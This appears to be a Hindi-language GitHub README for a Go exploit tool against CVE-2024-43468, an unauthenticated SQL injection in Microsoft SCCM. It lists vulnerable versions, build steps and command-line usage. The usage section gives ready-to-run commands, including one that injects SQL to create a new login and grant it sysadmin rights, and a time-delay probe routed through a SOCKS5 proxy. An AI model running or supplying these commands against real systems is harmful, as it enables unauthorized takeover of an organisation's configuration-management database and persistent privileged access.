CVE-2024-43468 SCCM SQL Injection Exploit (mTLS क्लाइंट प्रमाणपत्र macOS कीचेन संस्करण से)

CVE-2024-43468 शोषण का Go कार्यान्वयन जो mTLS प्रमाणीकरण के लिए macOS कीचेन का उपयोग करता है (कीचेन से कुंजियाँ निर्यात करने की आवश्यकता नहीं है)।

इसके अतिरिक्त:

समस्याग्रस्त proxychains का उपयोग न करने हेतु प्रॉक्सी समर्थन जोड़ा गया।
प्रमाणपत्र का Common Name प्राप्त करने के लिए get_cert_name.py जोड़ा गया (हाँ, आप इसे Keychain Access GUI से मैन्युअल रूप से भी कर सकते हैं)।
यह देखने के लिए बहुत सारी डिबगिंग जोड़ी गई कि क्या चल रहा है।

आधारित:

विवरण

Microsoft Configuration Manager (ConfigMgr / SCCM) में अप्रमाणित SQL इंजेक्शन का शोषण करता है, जो नेटवर्क पहुँच रखने वाले हमलावर को Management Point पर साइट डेटाबेस में मनमानी SQL क्वेरी निष्पादित करने की अनुमति देता है।

संवेदनशील संस्करण:

< 2403 (5.00.9128.1024)
< 2309 (5.00.9122.1033)
< 2303 (5.00.9106.1037)
<= 2211

स्थापना

# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go

# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy

# Build
go build -o sccm

उपयोग

# Show help
./sccm -h

# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
       -sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
       -cn "CertificateCommonName"

# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
       -sql "WAITFOR DELAY '0:0:5'" \
       -cn "CertificateCommonName" \
       -proxy "127.0.0.1:9050"

पैरामीटर

-t : लक्ष्य URL (आवश्यक)
-sql : निष्पादित की जाने वाली SQL क्वेरी (आवश्यक)
-cn : macOS कीचेन में प्रमाणपत्र का Common Name (आवश्यक)
-proxy : SOCKS5 प्रॉक्सी पता (डिफ़ॉल्ट: खाली)

आवश्यकताएँ

macOS (कीचेन एकीकरण के लिए)
Go 1.16+
macOS कीचेन में क्लाइंट प्रमाणपत्र
वैकल्पिक: SOCKS5 प्रॉक्सी

CVE-2024-43468_mTLS_go

सबसे लोकप्रिय